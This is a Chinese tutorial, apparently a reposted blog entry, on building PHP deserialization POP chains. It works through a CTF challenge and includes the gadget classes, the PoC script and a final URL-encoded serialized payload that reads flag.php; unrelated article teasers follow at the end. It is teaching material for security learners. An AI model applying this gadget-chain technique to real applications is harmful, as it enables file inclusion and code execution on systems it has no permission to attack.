[Web 安全] PHP 反序列化漏洞 —— POP 链构造思路

news2025/4/20 14:11:08

关注这个专栏的其他相关笔记:[Web 安全] 反序列化漏洞 - 学习笔记-CSDN博客

0x01:什么是 POP 链?

POP 链(Payload On Purpose Chain)是一种利用 PHP 中的魔法方法进行多次跳转以获取敏感数据的技术。它通常出现在 CTF 比赛中,并且与反序列化一起考察。

POP 链可以理解为反序列化的一种拓展,涉及到的魔法方法更多,泛用性更强。

0x02:POP 链 — 入门基础

POP 链,简单来说,就是把一个对象的成员属性赋值为新的对象。比如下面这个例子:

 <?php
 ​
 class Node {
     public $nodeData;         // 用来存储节点数据
     public $nextNode = null;  // 用来存储下一个节点对象
 }
 ​
 ​
 $node1 = new Node();
 $node1 -> nodeData = "[ 1 ] 号节点";
 ​
 $node1 -> nextNode = new Node();
 $node1 -> nextNode -> nodeData = "[ 2 ] 号节点";
 ​
 echo serialize($node1);
 // 输出结果如下: 
 // O:4:"Node":2:{s:8:"nodeData";s:15:"[ 1 ] 号节点";s:8:"nextNode";O:4:"Node":2:{s:8:"nodeData";s:15:"[ 2 ] 号节点";s:8:"nextNode";N;}}

上面是笔者创建的一个简单的节点类,该类有两个属性,$nodeData 用来存储数据,$nextNode 用来指向下一个节点。

观察一下这个 $node1 序列化后的结果,我们可以很轻易的看到,对象中包含了对象的这么一个结构,这就是 POP 链。在后面做 CTF 时,我们就需要手动构造这么一串东西来尝试过关。

0x03:POP 链 — 构造思路

接下来,笔者以一个 CTF 的题目作为示范,来演示一下 POP 链的构造思路,下面是题目的整体源码:

 <?php
 ​
 highlight_file(__FILE__);
 ​
 class Modifier {
     private $var;
     public function append($value) {
         include($value);   // Flag Is in the flag.php
         echo $flag;
     }
 ​
     public function __invoke() {
         $this->append($this->var);
     }
 }
 ​
 class Show {
     public $source;
     public $str;
     public function __toString() {
         return $this->str->source;
     }
     public function __wakeup() {
         echo $this->source;
     }
 }
 ​
 class Test
 {
     public $p;
     public function __construct() {
         $this->p = array();
     }
     // 不存在的属性
     public function __get($key) {
         $function = $this->p;
         return $function();
     }
 }
 ​
 // pop序列化的值
 if (isset($_GET['pop'])) {
     unserialize($_GET['pop']);
 }

我们的目标就是,尝试包含 flag.php 并读取到 flag。

下面我们就要开始分析了,笔者比较喜欢进行反向逆推的,首先确定我们最终要达成的目标:

  1. 确定目标:要执行 Modifier::append($value)$value=flag.php

  2. 问:谁能跳到 Modifier::append($value)

    答:Modifier::__invoke() 且要求 Modifier 对象的 $var 属性为 flag.php
  3. 问:谁能跳到 Modifier::__invoke()?=> 哪里能将 Modifier 对象当方法调用?

    答:Test::__get($key) 且当 Test 对象的 $p 属性为 Modifier 对象时满足要求。
  4. 问:谁能跳到 Test::__get($key)?=> 哪里可能会访问某个对象的不存在的属性?

    答:Show::__toString() 且当 Show 对象的 $str 属性为 Test 对象时满足要求。
  5. 问:谁能跳到 Show::__toString() ?即哪里会把 Show 对象当作字符串处理?

    答:Show::__wakeup()且当 Show 对象的 $source 属性为 Show 对象时满足要求。
  6. 问:哪里能触发 Show::__wakeup()

    答:反序列化 Show 对象。

如上,逆向推导结束,最终我们定格到了 Show::__wakeup() 方法上,即反序列化执行时,会自然触发的一个方法上。

下面开始编写 POC,POC 的编写其实就是根据答案反着来,着重关注 ”且当“ 后面的条件:

 // 1. 反序列化 Show 对象 => 创建一个 Show() 对象
 $poc = new Show();
 // 2. 赋予 Show() 对象的 $source 属性为 Show() 对象。
 $poc -> source = new Show();
 // 3. 赋予 Show() 对象的 $str 属性为 Test 对象。
 $poc -> source -> str = new Test();
 // 4. 赋予 Test 对象的 $p 属性为 Modifier 对象。
 $poc -> source -> str -> p = new Modifier();
 ​
 // 5. 赋予 Modifier 对象的 $var 属性值为 flag.php。
 $poc -> source -> str -> p = "flag.php";
 ​
 echo serialize($poc); 

上面的 POC 其实整体流程是对的,但是有个细节,关注一下 Modifier 类中的 $p 属性:

 class Modifier {
     private $var;
 }

如上,它是一个私有属性,私有属性我们是不能直接通过属性赋值的。但是我们知道,反序列化的特性,反序列化生成的对象成员属性值是由被反序列化的字符串决定的,与原来类中预定义的值无关。 那么基于此特性,虽然直接赋值不行,但是我们可以修改 Modifier 类中 $var 的默认值呀。

所以正确的最终 POC 局部如下(下面都是我们修改的主要部分):

 class Modifier {
     // 5. 赋予 Modifier 对象的 $var 属性值为 flag.php。
     private $var = "flag.php";
     public function append($value) {
         include($value);   // Flag Is in the flag.php
         echo $flag;
     }
 ​
     public function __invoke() {
         $this->append($this->var);
     }
 }
 ​
 // 1. 反序列化 Show 对象 => 创建一个 Show() 对象
 $poc = new Show();
 // 2. 赋予 Show() 对象的 $source 属性为 Show() 对象。
 $poc -> source = new Show();
 // 3. 赋予 Show() 对象的 $str 属性为 Test 对象。
 $poc -> source -> str = new Test();
 // 4. 赋予 Test 对象的 $p 属性为 Modifier 对象。
 $poc -> source -> str -> p = new Modifier();
 ​
 echo serialize($poc); 

同时我们注意到,反序列化中带有 private 私有属性,且目标是通过 GET 请求接收传参的,所以为了防止我们复制 POC 的时候出现 Bug,我们还需要对最终序列化的结果进行一个 URL 编码(服务端在接收的时候其实默认会进行一次 URL 解码,所以不用慌),以确定没有漏复制任何值,所以最终 POC 如下:

 <?php
 ​
 // highlight_file(__FILE__);
 ​
 class Modifier {
     // 5. 赋予 Modifier 对象的 $var 属性值为 flag.php。
     private $var = "flag.php";
     public function append($value) {
         include($value);   // Flag Is in the flag.php
         echo $flag;
     }
 ​
     public function __invoke() {
         $this->append($this->var);
     }
 }
 ​
 class Show {
     public $source;
     public $str;
     public function __toString() {
         return $this->str->source;
     }
     public function __wakeup() {
         echo $this->source;
     }
 }
 ​
 class Test
 {
     public $p;
     public function __construct() {
         $this->p = array();
     }
     // 不存在的属性
     public function __get($key) {
         $function = $this->p;
         print_r($function);
         return $function();
     }
 }
 ​
 // 1. 反序列化 Show 对象 => 创建一个 Show() 对象
 $poc = new Show();
 // 2. 赋予 Show() 对象的 $source 属性为 Show() 对象。
 $poc -> source = new Show();
 // 3. 赋予 Show() 对象的 $str 属性为 Test 对象。
 $poc -> source -> str = new Test();
 // 4. 赋予 Test 对象的 $p 属性为 Modifier 对象。
 $poc -> source -> str -> p = new Modifier();
 ​
 echo urlencode(serialize($poc));

最终 Payload 如下:

 O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2308606.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

深度探索推理新境界:DeepSeek-R1如何用“自学”让AI更聪明?

今天我们要聊从1月初火到现在的AI模型——DeepSeek-R1。它就像一个“自学成材的学霸”&#xff0c;不用老师手把手教&#xff0c;就能在数学、编程、逻辑推理等领域大显身手&#xff01;仔细阅读了深度求索发表的R1论文&#xff0c;发现它不仅揭秘了它的成长秘籍&#xff0c;还…

2025春新生培训数据结构(树,图)

教学目标&#xff1a; 1&#xff0c;清楚什么是树和图&#xff0c;了解基本概念&#xff0c;并且理解其应用场景 2&#xff0c;掌握一种建图&#xff08;树&#xff09;方法 3&#xff0c;掌握图的dfs和树的前中后序遍历 例题与习题 2025NENU新生培训&#xff08;树&#…

keil主题(vscode风格)

#修改global.prop文件&#xff0c;重新打开keil即可 # Keil uVision Global Properties File # This file is used to customize the appearance of the editor# Editor Font editor.font.nameConsolas editor.font.size10 editor.font.style0# Editor Colors editor.backgro…

使用Hydra进行AI项目的动态配置管理

引言:机器学习中的超参数调优挑战 在机器学习领域,超参数调优是决定模型性能的关键环节。不同的模型架构,如神经网络中的层数、节点数,决策树中的最大深度、最小样本分割数等;以及各种训练相关的超参数,像学习率、优化器类型、批量大小等,其取值的选择对最终模型的效果…

深入了解 K-Means 聚类算法:原理与应用

引言 在数据科学和机器学习的世界中&#xff0c;聚类是一项非常重要的技术&#xff0c;它帮助我们根据数据的相似性将数据划分为不同的组或簇。聚类算法在许多领域中得到了广泛的应用&#xff0c;如图像处理、市场细分、基因研究等。K-Means 聚类算法作为最常见的无监督学习算…

永磁同步电机无速度算法--反电动势观测器

一、原理介绍 在众多无位置传感器控制方法中&#xff0c;低通滤波反电势观测器结构简单&#xff0c;参数整定容易&#xff0c;易于编程实现。但是该方法估计出的反电势会产生相位滞后&#xff0c;需要在估计永磁同步电机转子位置时进行了相位补偿。 二、仿真模型 在MATLAB/si…

【Linux】命令行参数 | 环境变量(四)

目录 前言&#xff1a; 一、命令行参数&#xff1a; 1.main函数参数 2.为什么有它&#xff1f; 二、环境变量&#xff1a; 1.main函数第三个参数 2.查看shell本身环境变量 3.PATH环境变量 4.修改PATH环境变量配置文件 5.HOME环境变量 6.SHELL环境变量 7.PWD环境变…

java高级(IO流多线程)

file 递归 字符集 编码 乱码gbk&#xff0c;a我m&#xff0c;utf-8 缓冲流 冒泡排序 //冒泡排序 public static void bubbleSort(int[] arr) {int n arr.length;for (int i 0; i < n - 1; i) { // 外层循环控制排序轮数for (int j 0; j < n -i - 1; j) { // 内层循环…

深度剖析数据分析职业成长阶梯

一、数据分析岗位剖析 目前&#xff0c;数据分析领域主要有以下几类岗位&#xff1a;业务数据分析师、商业数据分析师、数据运营、数据产品经理、数据工程师、数据科学家等&#xff0c;按照工作侧重点不同&#xff0c;本文将上述岗位分为偏业务和偏技术两大类&#xff0c;并对…

Web3.py 入门笔记

Web3.py 学习笔记 &#x1f4da; 1. Web3.py 简介 &#x1f31f; Web3.py 是一个 Python 库&#xff0c;用于与以太坊区块链进行交互。它就像是连接 Python 程序和以太坊网络的桥梁。 官方文档 1.1 主要功能 查询区块链数据&#xff08;余额、交易等&#xff09;发送交易与…

NFC拉起微信小程序申请URL scheme 汇总

NFC拉起微信小程序&#xff0c;需要在微信小程序开发里边申请 URL scheme &#xff0c;审核通过后才可以使用NFC标签碰一碰拉起微信小程序 有不少人被难住了&#xff0c;从微信小程序开发社区汇总了以下信息&#xff0c;供大家参考 第一&#xff0c;NFC标签打开小程序 https://…

《Python实战进阶》No 8:部署 Flask/Django 应用到云平台(以Aliyun为例)

第8集&#xff1a;部署 Flask/Django 应用到云平台&#xff08;以Aliyun为例&#xff09; 2025年3月1日更新 增加了 Ubuntu服务器安装Python详细教程链接。 引言 在现代 Web 开发中&#xff0c;开发一个功能强大的应用只是第一步。为了让用户能够访问你的应用&#xff0c;你需…

【JAVA SE基础】抽象类和接口

目录 一、前言 二、抽象类 2.1 抽象类的概念 2.2 抽象类语法 2.3 抽象类特性 2.4 抽象类的作用 三、接口 3.1 什么是接口 3.2 语法规则 3.3 接口使用 3.4 接口特性 3.5 实现多接口 3.6 接口间的继承 四、Object类 4.1 获取对象信息&#xff08; toString() &…

530 Login fail. A secure connection is requiered(such as ssl)-java发送QQ邮箱(简单配置)

由于cs的csdN许多文章关于这方面的都是vip文章&#xff0c;而本文是免费的&#xff0c;希望广大网友觉得有帮助的可以多点赞和关注&#xff01; QQ邮箱授权码到这里去开启 授权码是16位的字母&#xff0c;填入下面的mail.setting里面的pass里面 # 邮件服务器的SMTP地址 host…

计算机毕业设计SpringBoot+Vue.js体育馆使用预约平台(源码+文档+PPT+讲解)

温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 温馨提示&#xff1a;文末有 CSDN 平台官方提供的学长联系方式的名片&#xff01; 作者简介&#xff1a;Java领…

MyBatis-Plus 为简化开发而生【核心功能】

文章目录 一、前言二、快速入门1. 入门案例2. 常见注解3. 常见配置 三、核心功能1. 条件构造器2. 自定义 SQL3. Service 接口3.1 基本使用3.2 复杂条件 一、前言 顾名思义&#xff0c;MyBatis-Plus 其实是 MyBatis 的一个加强版&#xff0c;它可以帮助我们快速高效地编写数据库…

【MySQL】(2) 库的操作

SQL 关键字&#xff0c;大小写不敏感。 一、查询数据库 show databases; 注意加分号&#xff0c;才算一句结束。 二、创建数据库 {} 表示必选项&#xff0c;[] 表示可选项&#xff0c;| 表示任选其一。 示例&#xff1a;建议加上 if not exists 选项。 三、字符集编码和排序…

通信原理速成笔记(信息论及编码)

信息论基础 信息的定义与度量 信息是用来消除不确定性的内容。例如&#xff0c;在猜硬币正反的情境中&#xff0c;结果存在正反两种不确定性&#xff0c;而得知正确结果能消除这种不确定性&#xff0c;此结果即为信息。单个事件的信息量&#xff1a;对于离散信源中的事件xi​&…

云和恩墨亮相PolarDB开发者大会,与阿里云深化数据库服务合作

2025年2月26日&#xff0c;备受瞩目的阿里云PolarDB开发者大会于北京嘉瑞文化中心盛大举行&#xff0c;众多行业精英齐聚一堂&#xff0c;共襄技术盛会。云和恩墨作为阿里云重要的生态合作伙伴受邀参会。云和恩墨联合创始人兼技术研究院总经理杨廷琨与阿里云智能数据库产品事业…

Linux下的网络通信编程

在不同主机之间&#xff0c;进行进程间的通信。 1解决主机之间硬件的互通 2.解决主机之间软件的互通. 3.IP地址&#xff1a;来区分不同的主机&#xff08;软件地址&#xff09; 4.MAC地址&#xff1a;硬件地址 5.端口号&#xff1a;区分同一主机上的不同应用进程 网络协议…